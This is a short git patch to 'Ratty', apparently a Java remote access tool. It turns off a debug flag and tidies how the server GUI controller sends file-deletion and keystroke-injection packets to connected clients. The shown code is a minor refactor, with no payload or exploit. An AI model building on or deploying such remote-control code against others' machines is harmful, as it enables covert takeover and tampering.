From a88c88d2465f4cab6930954ed14be873f9cac33a Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 7 Feb 2016 15:51:59 +0100 Subject: [PATCH] Minor changes Fixes --- Ratty/src/de/sogomn/rat/Ratty.java | 2 +- Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java | 6 ++---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index e950896..ee0cefd 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -21,7 +21,7 @@ public final class Ratty { private static int port; private static boolean client; - private static final boolean DEBUG = true; + private static final boolean DEBUG = false; private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index b695410..28f1081 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -72,8 +72,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } private IPacket getPacket(final String command, final ServerClient serverClient) { - final boolean streamingDesktop = serverClient.isStreamingDesktop(); - IPacket packet = null; if (command == RattyGui.POPUP) { @@ -130,12 +128,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve packet = new DeleteFilePacket(path); treePanel.removeFile(path); - } else if (command == DisplayPanel.KEY_PRESSED && streamingDesktop) { + } else if (command == DisplayPanel.KEY_PRESSED && serverClient.isStreamingDesktop()) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int key = displayPanel.getLastKeyHit(); packet = new KeyEventPacket(key, KeyEventPacket.PRESS); - } else if (command == DisplayPanel.KEY_RELEASED && streamingDesktop) { + } else if (command == DisplayPanel.KEY_RELEASED && serverClient.isStreamingDesktop()) { final DisplayPanel displayPanel = serverClient.getDisplayPanel(); final int key = displayPanel.getLastKeyHit();